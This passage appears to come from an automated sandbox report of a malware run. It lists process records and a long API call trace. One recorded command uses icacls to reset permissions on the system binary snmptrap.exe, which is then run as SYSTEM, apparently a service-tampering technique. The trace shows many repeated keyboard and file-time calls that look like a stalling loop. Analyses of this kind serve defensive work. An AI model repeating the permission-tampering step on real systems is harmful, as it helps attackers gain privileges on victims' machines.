"XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1014 os_tid = 0x164 Thread: id = 1021 os_tid = 0x328 Process: id = "86" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x69419000" os_pid = "0x2f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1017 os_tid = 0x2fc Thread: id = 1018 os_tid = 0x614 Process: id = "87" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6ade2000" os_pid = "0x50c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002ea28" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 1022 os_tid = 0x508 Thread: id = 1024 os_tid = 0x304 Thread: id = 1025 os_tid = 0x62c Thread: id = 1026 os_tid = 0x7dc Thread: id = 1029 os_tid = 0x6b8 Thread: id = 1031 os_tid = 0x664 Process: id = "88" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x6b6d7000" os_pid = "0x658" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\snmptrap.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1027 os_tid = 0x678 Process: id = "89" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6aa1f000" os_pid = "0x690" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1028 os_tid = 0x64c Thread: id = 1030 os_tid = 0x6c0 Process: id = "90" image_name = "snmptrap.exe" filename = "c:\\windows\\system32\\snmptrap.exe" page_root = "0x6bee8000" os_pid = "0x660" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\snmptrap.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\SNMPTRAP" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002f0e0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 1032 os_tid = 0x6bc [0252.890] GetCommandLineW () returned="C:\\Windows\\System32\\snmptrap.exe" [0252.890] GetStockObject (i=168) returned 0x0 [0252.890] GetAsyncKeyState (vKey=58) returned 0 [0252.890] GetKBCodePage () returned 0x1b5 [0252.890] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.890] GetFocus () returned 0x0 [0252.890] GetAsyncKeyState (vKey=58) returned 0 [0252.890] GetKBCodePage () returned 0x1b5 [0252.890] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.890] GetFocus () returned 0x0 [0252.890] GetAsyncKeyState (vKey=58) returned 0 [0252.890] GetKBCodePage () returned 0x1b5 [0252.890] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.890] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.891] GetFocus () returned 0x0 [0252.891] GetAsyncKeyState (vKey=58) returned 0 [0252.891] GetKBCodePage () returned 0x1b5 [0252.891] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.892] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.892] GetFocus () returned 0x0 [0252.892] GetAsyncKeyState (vKey=58) returned 0 [0252.892] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.893] GetKBCodePage () returned 0x1b5 [0252.893] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.893] GetFocus () returned 0x0 [0252.893] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.894] GetAsyncKeyState (vKey=58) returned 0 [0252.894] GetKBCodePage () returned 0x1b5 [0252.894] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.894] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.895] GetFocus () returned 0x0 [0252.895] GetAsyncKeyState (vKey=58) returned 0 [0252.895] GetKBCodePage () returned 0x1b5 [0252.895] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, 